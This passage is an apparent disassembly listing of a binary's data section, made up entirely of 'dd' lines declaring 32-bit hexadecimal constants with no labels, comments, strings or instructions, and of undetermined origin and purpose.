		dd 3401335Bh, 4538F9C9h, 7ED00EF0h, 822026Bh, 4267A44Ah
		dd 0C4F9B461h, 23396CCDh, 0B08930B2h, 735FE9D5h, 438500ADh
		dd 0FA934F86h, 0C5005238h, 7A064256h, 0E4ED255h, 7ED5B5F9h
		dd 0B48B05h, 8ADA0D90h,	220035BCh, 370BC6D7h, 4859BF64h
		dd 68005426h, 8D1F2E89h, 0D3EED4CFh, 8281A939h,	0A56F3D05h
		dd 262C41CAh, 0AEF6D0h,	74EA3E36h, 54230B60h, 805EAA00h
		dd 0B910E20Eh, 17F50087h, 5BB2A235h, 4C0F226Eh,	0E47A0BC7h
		dd 88C09C38h, 13DAA92Fh, 49068A5Ah, 68091BA8h, 6C66A803h
		dd 0D551AC90h, 0FE70E400h, 54CE50B2h, 99470055h, 6F740CDAh
		dd 92016276h, 3C56770Ah, 90E8BD9Ch, 6371018Ch, 74988523h
		dd 0A6B7099h, 94BB8124h
		dd 0E6679000h, 0CD087BEh, 61AC7E49h, 0A50D8610h, 0C29B2C0Ch
		dd 3E1DE0h, 21F1DE24h, 0B787AC42h, 89940800h, 95F8EDBAh
		dd 0A7EA16B8h, 71F100F4h, 705773D9h, 0F679E3Ch,	0C48EA98Ch
		dd 50C0BA4Dh, 1D225DA6h, 8078D306h, 0E8601775h,	8612648Dh
		dd 2C1E7DFDh, 7EE1FF40h, 92E9E7h, 84D3BD43h, 2B5F8BB2h
		dd 5A67F20Eh, 0F6DD8006h, 0CA79F0h, 0E0C7A7D8h,	0ACC4B8D5h
		dd 5032E500h, 0D197AB7Bh, 0E8F2CEh, 0FF1FEB66h,	94C803E7h
		dd 307F4700h, 3BDEF832h, 7117157h, 8254FE1Fh, 0ABC3C36Fh
		dd 0FBA4D980h, 81E98800h, 0F909F378h, 0D25F0184h, 535FA95h
		dd 0DCB4F986h, 0C0E8E708h, 555A1300h, 5B29D5FDh, 22E80035h
		dd 92B8F04Ah, 3C005FC6h, 0B1395E8Ah, 0AB483Ah, 355D3DECh
		dd 474C2EFh, 65FBE400h,	0F93187A6h, 661B0029h, 51BF261Ch
		dd 0D0006B9Ch, 0BCCC291h, 34ECD98h, 0E565D99Eh,	9FB01E3Ch
		dd 81008D47h, 78714D57h, 2E2BA2h, 0FC29B46Dh, 0A83DA0D5h
		dd 2A03B5F8h, 14A3D43Bh, 5AFFC002h, 0CE560047h,	3E269905h
		dd 45044A5Bh, 9E30083Bh, 2BAD5D80h, 77DB00E6h, 2EC8ABA9h
		dd 2A005F59h, 0D3EC3DEh, 971BBAh, 291D84AFh, 0D4F785E4h
		dd 0D1F26100h, 2B535EEFh, 864C00CBh, 0BADAEC20h, 0D900E752h
		dd 0ACD5EE5Ah, 326F20Dh, 5C387185h, 11B85BA4h, 0D4FAB40Ch
		dd 0AB457F00h, 0E87443D6h, 7EC500AAh, 0F419D0FFh, 0CCE5CDE2h
		dd 0B50095A0h, 0D6035BF5h, 0DD9855h, 0E3A2BAEEh, 1470F387h
		dd 0DE1B6007h, 0CC503E75h, 954E91h, 9044CAABh, 165F5409h
		dd 8022503Ch, 11ED0FD5h, 0B148FE5h, 2ED8693Dh, 849CCA0Ch
		dd 0B7C01B00h, 177CB275h, 131C0EB0h, 78E08B61h,	60F23B8Dh
		dd 53CE1E00h, 0C5B016EBh, 0BF911622h, 2994182Dh, 840073E2h
		dd 0F3AAFC5Eh, 0F1E6E18h, 6EDF0D1h, 0AF020397h,	780776AEh
		dd 0ADF3BAE3h, 0BDBF004Eh, 0C4C1ACh, 7706D321h,	292643BBh
		dd 0D3225Ch, 96642DB9h,	0F2D88133h, 8E270C5Bh, 0C6900E4Fh
		dd 540B9F78h, 0DC0536h,	0C0592BC5h, 8A190935h, 2000866Dh
		dd 8F998060h, 63617800h, 58919AF1h, 0BC41F11h, 3087FB8Dh
		dd 0E0D2A229h, 427766E6h, 0DDBD3200h, 0A554F6F4h, 0B0C2002Ch
		dd 7581E0E1h, 0DB0025A2h, 85EDE6B5h, 943083h, 6557B9Ch
		dd 87FC4A2Dh, 4DCC571Fh, 188080B7h, 140E8A4h, 0D4E96C0Eh
		dd 0F24C8F47h, 0C4120887h, 0E894004Dh, 78F4BA45h, 0C9400FA1h
		dd 52200680h, 206A5A0Bh, 24031F72h, 253C6BF9h, 0C591E8ACh
		dd 547B03F0h, 0B539D05Ah, 78648003h, 0A349C922h, 50890782h
		dd 0C090C388h, 5D8C0370h, 750B2F00h, 34E49701h,	0EF8F0040h
		dd 114C333Bh, 6B63C35Ah, 5C28738h, 2DC15648h, 3C280075h
		dd 83F34A18h, 52104B00h, 3B2B8CB6h, 0D7D600B4h,	0AA5B7230h
		dd 9E038B4Ch, 579FC554h, 87FDE84Bh, 1EF5008Ah, 43752BA0h
		dd 301E8D0h, 25336F3Fh,	1880BE9Eh, 9FA7ED05h, 32006C79h
		dd 0C160048Ch, 0C9968AF5h, 0FA855620h, 32F407D9h, 0B4EC50A7h
		dd 6C027E04h, 3FB0D51Eh, 3CE3604Ah, 48936035h, 91E5F5C0h
		dd 77B40C3h, 4F4DC065h,	15DCF133h, 28BDFD55h, 5B028B05h
		dd 0D080494Ch, 4950A001h, 0B4804851h, 0CF8709C7h, 30C0898Ch
		dd 28512925h, 851831F3h, 3DD14CEEh, 670EC04h, 6E2C4E6Ch
		dd 85006148h, 0AF5A9ECCh, 808671C8h, 8F00317Ch,	466AF541h
		dd 7CD93B32h, 2ED0F6Dh,	8204219Eh, 601087h, 0CB2D3F5Eh
		dd 176F62h, 5C0F6B92h, 0E4612F7Bh, 0BA94ED00h, 1DC56DEBh
		dd 0EC8A004Eh, 1202E030h, 5A07FC06h, 2AEAE4C2h,	3EBAA510h
		dd 41A00ADh, 162C07EDh,	0F37D13BEh, 33681403h, 0C88861F6h
		dd 0B7A3E9h, 467BB9E4h,	6B9B3439h, 32D51900h, 51EB0EBBh
		dd 9458502Fh, 0E3350025h, 48D3E0C8h, 0D0030442h, 23D496CCh
		dd 79B0876Ah, 634112h, 0BA05AA57h, 0BE7C4F19h, 824E5520h
		dd 6E0421B8h, 0C053FB44h, 6DC78784h, 50E3CE90h,	0A0D40033h
		dd 69764CB4h, 6206A88Bh, 0FEC1CF70h, 11424229h,	847D9F18h
		dd 869C6E10h, 631FB621h, 129344E2h, 585D5A00h, 2A2C0E38h
		dd 37EE0402h, 80F8DE46h, 56ED0186h, 610C3100h, 4D90C14Eh
		dd 0B8750F38h, 8F4E7025h, 0A86BA9E1h, 5327FC35h, 0E9CFC001h
		dd 0E8BA49AAh, 58347CD4h, 0B50000E4h, 2ECE3E5Fh, 0D93F4FECh
		dd 5EA096F5h, 0AF67DE04h, 2F1D4090h, 7300036h, 0EC26E5FBh
		dd 0B30FD4DFh, 63AED27Dh, 0A82E86C9h, 1EBB96Ah,	0FF9CA514h
		dd 0D0BB5A3Dh, 4300DE8Eh, 6680A1DDh, 0EE60D3h, 139F7B0Dh
		dd 36CEFAF8h, 8C34300h,	881E1D8Ch, 0E5F33CA9h, 95121980h
		dd 0AE3FDA4Ah, 7A973100h, 78D5A0E8h, 15F91CBFh,	45240CAh
		dd 1C334734h, 3A3E2500h, 0A7B630CBh, 209100DAh,	0A55875D9h
		dd 1A0CC446h, 0B0CFFE8Dh, 7A50000Ch, 3E5A2264h,	8C0040C7h
		dd 0B97BAC01h, 3AA3E068h, 1100870Dh, 0E21D83DAh, 36002349h
		dd 3131AB6h, 0E0ED8509h, 4408038Fh, 3D862529h, 170AA3F0h
		dd 0C6E3E600h, 0E4CAF1Bh, 0B4E00081h, 0B1826026h, 240032ABh
		dd 0F3F10FB2h, 0FF4FA02h, 1ADDD6F0h, 8D6ABAC0h,	7800D40Bh
		dd 0E2CEE3Ch, 91D6911h,	4A96D306h, 0C4B3F000h, 215C0F83h
		dd 0FF940190h, 364BA972h, 5ADCF0h, 91DBECC8h, 0B00FDEF2h
		dd 93C01100h, 71A2321h,	0B8D800D4h, 0EF4E9F8Ch,	533E7EA0h
		dd 6D08F25h, 65464EC2h,	9401E73Bh, 5237B899h, 0B6F3D7h
		dd 0BD519AF0h, 7CA7CB5Eh, 0E78C2B07h, 0E905A461h, 3B800Bh
		dd 0A0E64198h, 2B0200BFh, 11ECDAAFh, 50032016h,	22E133E4h
		dd 9547F834h, 0CF7B15h,	38918112h, 0E2D4BDACh, 63E86600h
		dd 0F7E07287h, 0E704C0C9h, 3D68F502h, 0C2D41D00h, 663B44FEh
		dd 0D98F2439h, 9D49009Dh, 0E7297E7Ch, 5F5B1E03h, 0E010943Bh
		dd 12A9C1h, 5AF3DDECh, 0B2B4274h, 384A8C00h, 76094D2Fh
		dd 0FAFF393Ch, 3B4441Eh, 7F4CE50Eh, 0D97DF4A0h,	35DAE700h
		dd 49DCBDEAh, 0CCB282h,	6005326Ah, 6D9344AFh, 0FF267909h
		dd 94FB806Eh, 7B457872h, 9F8302FEh, 57095916h, 0F2C007Fh
		dd 83EF9h, 612331E2h, 0A26F69FFh, 0D8D21E24h, 29028100h
		dd 0FAEC4h, 98C334E0h, 0D978CD3Bh, 947B6500h, 29D6A549h
		dd 0FC5F05Eh, 877309E2h, 0BF86EA00h, 5C0080CDh,	0EB56467Dh
		dd 787EBEh, 0D9328A70h,	5F7296D4h, 0CCB4E71Bh, 7821D828h
		dd 9D86008Ch, 0EAA11284h, 833EC7E1h, 19048092h,	0D0E33FFAh
		dd 0B8DE5CDDh, 0E2419400h, 0ACB9E128h, 1080C500h, 91512307h
		dd 0BB7100FAh, 7A89357Eh, 0DB00C144h, 0CC4785A0h, 2C0BD49h
		dd 0CDE5CB43h, 39603A1Fh, 0DC03BA93h, 0D0D194B5h, 9FB0E00Fh
		dd 79650075h, 49FAC2F9h, 0C80038AAh, 48DFBDE3h,	244227h
		dd 17F5E503h, 4668AC33h, 9DE88600h, 2C11B149h, 0FDFF0027h
		dd 0C260C722h, 0E400A352h, 70EDDC79h, 911B32h, 14E14350h
		dd 0E60B3466h, 0D8903Ch, 2FA1CCF3h, 5FE1EF7h, 1545F04Ch
		dd 0B065C020h, 0BA019F82h, 0F91CD86Fh, 0E064B5A8h, 51B6E2BDh
		dd 2828FB27h, 30807925h, 0A73EA1D4h, 3000B7F8h,	0E236F96h
		dd 199234h, 51DA3B42h, 7E80A69Fh, 0CD3873F6h, 0F6007456h
		dd 6577DBCFh, 0F075BFh,	0A1FC01Ch, 8969E53Bh, 3D96B903h
		dd 0C821D9AEh, 0C75407h, 3AFF470Ch, 0C1B8B3E8h,	79012412h
		dd 7F3B1000h, 7BCF91Dh,	0A767AC6Eh, 0D6C961DCh,	0E59EE0B8h
		dd 5773FBA0h, 0D8CCDF12h
		dd 0AFAA0C07h, 0A95AF820h, 0A0660070h, 0A8B0A12Ch, 37005120h
		dd 63DA53B6h, 391D216h,	46AFC702h, 6C98BFFFh, 510B4FD1h
		dd 0E8E123h, 0F2C230E5h, 0DD35007Dh, 0C8AD2FC5h, 0AEAFDD1h
		dd 83910D51h, 0CBF2E4CCh, 8B6DE9A0h, 9FDE0DAh, 91BC0051h
		dd 7E892664h, 0F0E3EA7Ch, 8500B563h, 0F3AAF95Ch, 0D7E140h
		dd 0A6DB51CBh, 0EC89FE68h, 0C6800900h, 43DCAC54h, 0A28C024Ch
		dd 0F8C9B8D5h, 2CC04852h, 476C6970h, 0F62CE6AAh, 51DB3C76h
		dd 561C100h, 6831D7D5h,	77038F00h, 0CF179B83h, 7273005Bh
		dd 0C530747Bh, 93006C3Fh, 0AAC67501h, 545C83h, 0DAC1120Bh
		dd 0DE028525h, 92EB0401h, 472D3E48h, 0AF97E8h, 14436180h
		dd 0FC572E58h, 0E0FA4Dh, 0D65B4474h, 0C2CB17h, 4B1940ABh
		dd 42B77E60h, 583E5600h, 0AA33A73Ah, 740F2534h,	0C7920007h
		dd 8DBA307Dh, 0ED001C75h, 0FDABC335h, 70E15Fh, 81E2978Eh
		dd 6B337DDEh, 72F55B00h, 0AA349FC1h, 76D90024h,	0C63A8F13h
		dd 98EC6AB8h, 0D6B75400h, 1F1E8809h, 0FD101E04h, 5ED99EDEh
		dd 0A442CBCDh, 0FFF86A00h, 3D01FEE1h, 0F06C3AD5h, 79CCECC3h
		dd 0B16D00E9h, 48183BA5h, 0C0001B7Ch, 1CA840D3h, 7826BEA6h
		dd 0A7A4000Bh, 0CFBB8046h, 86003D5Dh, 0D5750AD9h, 38124260h
		dd 8A3BC15Fh, 4AA82F80h, 4BC99482h, 0C36C5B02h,	63272DA9h
		dd 0D662A0C0h, 0FE3700BBh, 743320Eh, 0D0F06184h, 3D8BC48h
		dd 3FBE6475h, 98C3DDAAh, 215CF8C0h, 0A9670074h,	9F60BF36h
		dd 0CC0BAE28h, 804BF5CBh, 3253EAC8h, 0BEE7093Ah, 807DFF39h
		dd 19983768h, 0DA8E003Fh, 0BC47AD77h, 22001CEDh, 3EEFF1A3h
		dd 1F0BC7D4h, 667884EAh, 1FB90156h, 70F64FEBh, 5777B1BCh
		dd 9D946700h, 0FF8D93BDh, 4480073h, 701F4777h, 0FA75200Bh
		dd 0A3B20C60h, 73BFA662h, 960D008Ch, 0C7B9CF6Ch, 0EF002970h
		dd 0C8F904DDh, 37F89h, 0A3EA8E83h, 566DB4A2h, 23222401h
		dd 499CD11Bh, 0E0E418C9h, 12F90E20h, 66CF850Ah,	8C20144Bh
		dd 0E3C5FDAEh, 0ECFEEE00h, 0F68DCF65h, 3AC0F18Eh, 13241D1Bh
		dd 201D3Eh, 2DDA4E1Ch, 2601B13Fh, 0C52832BFh, 0FBF82FCFh
		dd 0E31E00F8h, 0C4E41A3Ch, 0E13D1B68h, 0A7ED80E6h, 65896C2Bh
		dd 6273008Ch, 0A6B2204Ch, 5D02935Fh, 855658DBh,	0DD8840C3h
		dd 0C0160064h, 0D51440CDh, 0E800C1DCh, 2E38A77Fh, 99A4CCh
		dd 0F9800418h, 783B3F0h, 0AFE6137Ch, 30D11C07h,	2360FA3Dh
		dd 8234FCh, 0C283475Ah,	9B8C0ED4h, 0FB53C700h, 0F5D296Fh
		dd 3FEA0220h, 0BD0CE2A7h, 99511C40h, 4E8B420Bh,	5CC300CDh
		dd 19D4075h, 4A95D848h,	0C843749Bh, 1F02C3A2h, 2E36A7FAh
		dd 0F0E450E6h, 1B2500AAh, 0DB3E4FE8h, 4A728D23h, 64A11C90h
		dd 0EF1C24A8h, 510426FAh, 1ACCE80Eh, 95B9E080h,	0C5D00063h
		dd 30850D99h, 1304A732h, 2F1B10E4h, 8C85E4A2h, 69F5093Dh
		dd 63F6D440h, 0ADB6D41Eh, 0E6CBBA40h, 33A8AD6h,	0DDCFA4C7h
		dd 0D3C0B46Dh, 47004F1Dh, 8571CEE7h, 0AB8B20h, 0CF6167EAh
		dd 7986C00Ch, 1D5C324Ch, 0FFE8A028h, 276AF8F3h,	39211100h
		dd 1994BFB2h, 0B4BE00FCh, 0DFED733Eh, 850BE433h, 1F540A2h
		dd 4B146EBAh, 3E2609ECh, 28006BB6h, 15187670h, 79504DB3h
		dd 573ED3FCh, 50248093h, 0B63A55ACh, 94CC5C15h,	408F741Ch
		dd 0F41B3BE6h, 810008C3h, 4018115Ch, 1386D001h,	0C2524Ch
		dd 560A35A8h, 6E138D21h, 0A50E7724h, 0BED300F8h, 78753Eh
		dd 0DF965DAAh, 52583F4Dh, 0D950DE07h, 0C56060CCh, 0F8E46D65h
		dd 7E883BD2h, 15738600h, 393C3EA8h, 0E580B000h,	629A8718h
		dd 4B0400FCh, 0A741CE72h, 0DF1DD5A3h, 0A541C069h, 0BC628AD7h
		dd 0C471F0C7h, 6C5C00C9h, 94AA2231h, 0A31E014Eh, 0E400667Dh
		dd 0DDA2C261h, 808426D0h, 119A6F0h, 44B6E824h, 906D4Eh
		dd 4D49636Eh, 3A1DC939h, 40836FFDh, 0AB7E8B76h,	0A3D69FF0h
		dd 7A3B3Bh, 668DDEBCh, 1639DA93h, 0A8972Dh, 0B9532C58h
		dd 5902E070h, 8D498123h, 2DCC007h, 159A0099h, 1CCCABD9h
		dd 250067E2h, 3A83EE2Eh, 248A68h, 0F160D3F6h, 84BA8EE7h
		dd 7E9D1D3Ah, 1E113C00h, 943018D4h, 2EF902F4h, 0EBAFA9C8h
		dd 0C05D70E0h, 3FA9607h, 1D90EEDEh, 7A57D437h, 0D36400FBh
		dd 0CA7E2B9h, 17F02410h, 95DCD900h, 3667B4E9h, 0C2AF1F5Bh
		dd 2250C05Fh, 71FB0BE1h, 257BE700h, 0EBF906C8h,	0A0DE00E0h
		dd 0D065C293h, 0B7824E3h, 6E4C2103h, 0D01C9A76h, 7E3834h
		dd 8DC905A9h, 0BB136973h, 19AF8E1Ch, 7D980484h,	7CCF0A01h
		dd 0E042D094h, 0A58D7A1Fh, 98EA0Fh, 80D29B88h, 0B20C17Dh
		dd 0F009102Fh, 0D31D1FB1h, 80BBEE3Ch, 0E5B4BCB3h, 1C69ACBh
		dd 798E8D57h, 0D4801BDDh, 0F100ABD7h, 44DBCA52h, 5F3D7Ch
		dd 4331D439h, 8C14B5F9h, 0F7E0E701h, 0DFC079Eh,	0E0D76865h
		dd 0F0EBB6h, 9F0523E2h,	0BBC4E3A1h, 20EF8CA1h, 0B11CD9AAh
		dd 0F90040E0h, 0B5D5048Ah, 2B4500CCh, 0C00F8DF0h, 4100C7B8h
		dd 28FF8209h, 462AC1h, 0C2ECF7B1h, 5A0A8635h, 92CBD901h
		dd 3948FD95h, 4F7F20h, 4C3BF34Ah, 9C74D510h, 5C0748B6h
		dd 6A412AE8h, 606D9ACDh, 0D0620616h, 23E8CA6Ch,	0D87BF400h
		dd 0A96BF922h, 14BF895h, 41C2C5F1h, 472C0178h, 20D9A018h
		dd 0F10D4D58h, 38C34C23h, 871E7868h, 345014DFh,	470B8160h
		dd 880031B0h, 98CDE022h, 5F94683h, 89C95478h, 5190A0D8h
		dd 2BF2FE00h, 5AC57B3Bh, 885403B1h, 5B1276F8h, 303EC4F1h
		dd 5C2D044Eh, 463C8058h, 8BC82Dh, 5EB10BE7h, 67DEA460h
		dd 0F6F13E00h, 0A115769h, 41C03FB5h, 0EA5B0C77h, 3BA19754h
		dd 493D0472h, 1DAE0063h, 3D662FDDh, 0AAB90051h,	71AF2957h
		dd 0F2055FBCh, 0F4859AC3h, 0A05AC00h, 0C6938B77h, 518F5448h
		dd 997D6D07h, 0C032E832h, 2D01E0D2h, 0F5940025h, 670172C5h
		dd 0AB00F263h, 4D99C38Eh, 773566Ah, 0D29AC8F8h,	3E8C40FEh
		dd 0FC1857B6h, 87590F8Bh, 0AE7900F7h, 0B985C2F9h, 36030906h
		dd 1ABDBCCFh, 182EC0D7h, 0CEB8BBh, 8EBFD647h, 2665593Ch
		dd 2C5B8D05h, 0E0405E61h, 72167138h, 0CDFA00ECh, 0AA83E762h
		dd 29128809h, 140F1084h, 87D30014h, 88405051h, 7501A403h
		dd 5D10FA88h, 0B2D89481h, 3C1503ECh, 6CFAF44h, 8B4D2801h
		dd 0DB4555B3h, 0F38E1180h, 35772A89h, 0C4D22200h, 0AA90736Ch
		dd 0E6C5FC2Ch, 32E4006Eh, 758703Bh, 0D31FB174h,	4F804078h
		dd 389C040Dh, 277D0216h, 67D9A7D0h, 4CAFD07h, 6025D170h
		dd 6E8E2876h, 1C093989h, 89642B52h, 0B2F380CDh,	18D169D9h
		dd 28DB42DAh, 9F8884FAh, 0C41F8163h, 0DF015D12h, 0C46EC3E2h
		dd 0D1D4103Ah, 75C11EF7h, 0C0A8DEFDh, 87219E27h, 513D09B3h
		dd 379BC94h, 5C0308A6h,	20100792h, 301C9E55h, 0ADF99986h
		dd 0AB6CE03h, 0E87F5A29h, 689765h, 7AC6FB1h, 5B46550Eh
		dd 86A84107h, 73B077C1h, 7B9522A0h, 37F00024h, 0C9A97D79h
		dd 0BE0074D8h, 0A561F20Fh, 3CD4B5h, 8501E0ACh, 9506DCFh
		dd 0E2ED17Ch, 8A1C3FD0h, 50794E8h, 621990D3h, 4F5B6FE1h
		dd 71422ECh, 3E6AA17Ah,	544120B9h, 3300E1E0h, 8128826Bh
		dd 0C006E638h, 8C03178h, 70FCD54h, 409BEF3Dh, 0BC5104C6h
		dd 70EC37h, 1B714A6Fh, 94C7612Bh, 39023E74h, 0B8FEAD77h
		dd 63888256h, 8855007Dh, 5F008B87h, 0D2EA82D7h,	1C24CEFFh
		dd 0CCDE16h, 0AAC71BCh
		dd 143A18A8h, 7B8881E9h, 0DEF1237h, 0CFC0CAF1h,	0B9D7006Fh
		dd 98561A26h, 0FA06F469h, 0DA76C178h, 0BD5D3919h, 0C70828h
		dd 0D8EA8487h, 6675C3A8h, 2F0057E0h, 35AA0EB7h,	0A641E4h
		dd 677B96C1h, 52FB9E58h, 3257209h, 80940F4Eh, 2C22B089h
		dd 0B52A3A4Fh, 0FBBABB07h, 0E178302Bh, 2E00F288h, 0B80E856Bh
		dd 440DCDh, 4A79E333h, 0B156F45Dh, 54D89E24h, 16B78400h
		dd 1DEB69B0h, 1273463Ch, 1EFA848h, 0AC784503h, 27FC6EF5h
		dd 0D68E008Fh, 9EAA9182h, 8107999Ah, 0BD200F9Bh, 3F6C0AD0h
		dd 7DFC49h, 0FBCBB590h,	9DD31AE0h, 1ECAE700h, 0B41FFFC1h
		dd 917C037Fh, 0B1DA8B86h, 0B02F8FF0h, 8FE0F00h,	6A14773Ah
		dd 2AA30044h, 2434B1AAh, 5A002207h, 0B585B61Fh,	73A1A6h
		dd 6254FEC9h, 841502CFh, 4146C400h, 42230865h, 3C0AEC99h
		dd 7C304B5Eh, 7DEAE690h, 1F448116h, 971CDF01h, 12C0FE45h
		dd 0C2960065h, 7B403D5Bh, 849099Eh, 0A8F400F8h,	0FCFB2026h
		dd 0ACD40173h, 0E13998BCh, 0A9D3E065h, 0DE0E85ECh, 5C1F37BAh
		dd 0A001B10Fh, 31E9E7E8h, 0D0BF00F5h, 0C7DADE8Ch, 5B541A20h
		dd 2B0E3B90h, 408AEA91h, 0C92225Ah, 541000CFh, 36663582h
		dd 78006EF0h, 40BAFFCAh, 5C155F14h, 3100C42Ch, 0D26D95F1h
		dd 611224D8h, 0F000F746h, 0C4A91BD5h, 5E4A001Ah, 242FA68h
		dd 0A3073AA8h, 0B205C249h, 0D4011800h, 0A6BA0091h, 194D50EBh
		dd 9D007247h, 7663FAB3h, 54B1277h, 0AB8B1C87h, 0DA6E8220h
		dd 39E38883h, 0C59232A8h, 0EB052372h, 97BEC4C8h, 0FB19E800h
		dd 28CAAFh, 0E7A09F6Eh,	31EF61B6h, 9D912C00h, 0C6D8A4DDh
		dd 12AD7409h, 0BAA3A2h,	35B903FEh, 0DA00E58Fh, 0C3905F9Eh
		dd 60CE4F66h, 20AA589Dh, 0B7003F8Ah, 0A2F0F876h, 2554B6h
		dd 7136D192h, 2AAD7B81h, 0E35A2600h, 0B3E54FFCh, 0EA7C1305h
		dd 0B0F40069h, 2ADF2463h, 7790AB01h, 52A720D3h,	79FB3820h
		dd 48E984Ah, 0E4B1E10Eh, 62E8D07Dh, 0C800D31Bh,	8856C3E3h
		dd 3AFBE5h, 77E2CB67h, 0ABBDDEB4h, 0E76DD801h, 7B2DD0A9h
		dd 2289E4h, 8E3E62B9h, 0C88DECADh, 5D153Ah, 7AE664D6h
		dd 0E164775h, 4B289740h, 77388CA1h, 5722EC80h, 0B60A7206h
		dd 18405AC7h, 20AAD3F1h, 660050B7h, 24A93DACh, 3BF218BAh
		dd 9F15C343h, 663AD011h, 9C294A81h, 0D4B59980h,	0B61E1BBBh
		dd 1D001275h, 6AAEB3Eh,	19B3002Ah, 7CF2497Eh, 0E2008C61h
		dd 0E880B4FBh, 5B342Eh,	496F07FFh, 0D9BA5E88h, 3B39CCB8h
		dd 0E163034Fh, 0A0FC74CBh, 0D60402h, 0BB8B3472h, 0B4614662h
		dd 47C4651Dh, 0A3FCEDC0h, 1E64D0h, 0C38FE3DDh, 224930B7h
		dd 76537C00h, 63D0135h,	6C9200E9h, 0BA902912h, 0FB00CD1Eh
		dd 5B138E2Eh, 562544h, 0B31CB772h, 1108ED6Dh, 1BF631Fh
		dd 0C0D7FDCFh, 847197E5h, 8C6200A6h, 0C961D5C2h, 0AB05498Eh
		dd 8259B5D6h, 21BA92C1h, 7A0FFC7h, 3EDFA238h, 9F804A7Dh
		dd 0D2B75242h, 0D82EEEF6h, 0AA3E6CE4h, 80BACF2h, 8EEA6575h
		dd 0C79AE77Ah, 0C3F64CB0h, 992F00BCh, 0E32968DCh, 0E21D9E86h
		dd 2D803462h, 1DD63B3Fh, 0E4491C66h, 13ADE2Ch, 0BD148550h
		dd 3F043047h, 2A0CDF00h, 215705DCh, 74DD018Fh, 0CB285B68h
		dd 9F802093h, 0ED0C332Ch, 41AD1400h, 9638745h, 0DFAE7A02h
		dd 5159F087h, 70BEAB33h, 31007228h, 85F81FEFh, 4EFF54h
		dd 0CD6D9122h, 37B74AF4h, 847B4601h, 28E73DEh, 275E8D0h
		dd 0D7C4D1F2h, 0D8405354h, 0F33D30D3h, 0AF6F0371h, 25A9729h
		dd 642F0518h, 0D44143FFh, 4EC3084h, 9F03B071h, 6655B87Dh
		dd 1C7FE025h, 32740129h, 0E63724EFh, 68ABE089h,	0A5EDAF1Eh
		dd 7D8666C0h, 0FA2E7974h, 904B014Eh, 1842A4CAh,	5AF060E8h
		dd 6C58FAEAh, 84410CBEh, 0EA99F015h, 40060EEBh,	2B023F9Ah
		dd 30E8E9DAh, 52009D59h, 9280C11Bh, 9679FA4h, 0EF3CB801h
		dd 0D4C54000h, 3100363Eh, 6D4B11BFh, 1694C166h,	20EC876Eh
		dd 0EA2B8A44h, 22684603h, 0B8347548h, 774590Ah,	8D8043F1h
		dd 0CF9C302Fh, 86EEB2C3h, 0CE1A1C00h, 0D7996402h, 0FDB0B6h
		dd 0B24EA1C2h, 0DD7FBED1h, 4005C600h, 0A6684791h, 0B6F00787h
		dd 197A90C4h, 4B23E08Fh, 0E0C7758Eh, 355194D0h,	0BB004998h
		dd 2776BCD7h, 973070h, 37CA291Ah, 0CC8DEFFAh, 3321B760h
		dd 0C0A8A4h, 6553AE3Ah,	0C866B2EEh, 83B4931Ch, 42FD8BCEh
		dd 74522CB8h, 1CFE009Bh, 697E07E0h, 32657000h, 5AD76EE3h
		dd 9FF8008Bh, 7F345924h, 4203EF80h, 0FDEBCE95h,	331DA81Fh
		dd 9C7FA66h, 43D622F0h,	0F6B9DC80h, 0E00AE02h, 60D2C12Ah
		dd 38A6B3h, 45E11104h, 4443DE8Ah, 88246700h, 0E51E0AB6h
		dd 4FBA00D8h, 6C6D338Dh, 0AA00F8FCh, 0E267CC0Eh, 196AA04Ah
		dd 18FD2450h, 0AD5CD4A5h, 77F8F25h, 7BC03EBCh, 0E1E6F1h
		dd 0C17A9B39h, 12FEF595h, 0D32C190Fh, 784FA025h, 2AF31Fh
		dd 924A6EE0h, 0D1889321h, 4858E61Fh, 3BA423C7h,	5E6951F0h
		dd 0B38D01A6h, 744DE49Fh, 0B496D45Fh, 52E59C00h, 712D3578h
		dd 7B37E60Bh, 0D104BE3h, 60689704h, 920095C5h, 7B88B225h
		dd 33D47A3Ch, 0EBB06035h, 627183Ah, 789A74FBh, 0D3F906C9h
		dd 30C8F411h, 6C08F161h, 1FECA71Eh, 9B3300E1h, 1D418975h
		dd 3B004BADh, 7E950AB3h, 0CF180C7h, 0EF6267A9h,	98507538h
		dd 0C002C2Ch, 2D9B4F8Eh, 1E34317h, 0D3CF5CEBh, 80C0025Eh
		dd 9A103310h, 778C23B2h, 0F2E6013Ah, 0E82F6074h, 90E8BD98h
		dd 758A9BE3h, 0CDE5805Ch, 2D9D3DB1h, 0E340B21Dh, 0D001468h
		dd 1AC28930h, 0A5E8CFh,	1E2E9436h, 398A0E5Eh, 0AED81C00h
		dd 2141F638h, 0BB110F09h, 154E6899h, 0FEA718C0h, 89001014h
		dd 7B699BB1h, 44F7EDh, 526EFCC8h, 0DCC44616h, 18701560h
		dd 3479779h, 6378884Bh,	82CD0B9h, 1D80E821h, 0E4179761h
		dd 0EB0601BCh, 0C7ED239Bh, 4577F435h, 60CCF0BDh, 62BCD979h
		dd 0EB2F4257h, 1966FE75h, 8074081Dh, 57632321h,	32955Fh
		dd 0F15AECD0h, 0C28E9997h, 4EF51000h, 9CD3163Ah, 470E4E0Dh
		dd 20469D20h, 3E40F17Fh, 0E45A123Dh, 24E00108h,	9D3F00B6h
		dd 5894C614h, 93313ACCh, 0DDF80A60h, 5E6EE980h,	9228CBFBh
		dd 6C597162h, 378490E0h, 0A59A0743h, 16DA1F4Eh,	380419CEh
		dd 0D22CFC88h, 2B65CE4h, 2D61B941h, 3DC39818h, 0B1A30930h
		dd 0AB90CD6h, 0C4621656h, 3EDB0024h, 0AA6CF1BFh, 64071C79h
		dd 0CD17271Bh, 85627770h, 0DBFC0163h, 0BF871ACEh, 67B04819h
		dd 5764048Ch, 6265EB40h, 0D392170h, 43517057h, 69022F03h
		dd 9E521064h, 0AFFC21h,	9BD6E8DFh, 3A4A86D7h, 30871B3Bh
		dd 0F9E07023h, 9066000Dh, 4CD6566Ah, 0D000787Eh, 0BEBB83E7h
		dd 7C468492h, 0F5721E1Ah, 380B8BB4h, 0AC47C000h, 42000420h
		dd 0DC07BAA0h, 7FA12AAh, 96994046h, 0AB85002Fh,	8858E2E7h
		dd 0C0FE1368h, 56DBBE00h, 4C55849Ch, 9A0390EEh,	0CD75898Dh
		dd 1A601D92h, 5E007EB6h, 2F519BE6h, 8EF673h, 0D93FF9A8h
		dd 83BFC713h, 7003671h,	0C0F85A2Ch, 88E8E5h, 335B1CDBh
		dd 7F1E0B75h, 5C39C6C0h, 0BBA028Ch, 0CD15EAE8h,	0B5162680h
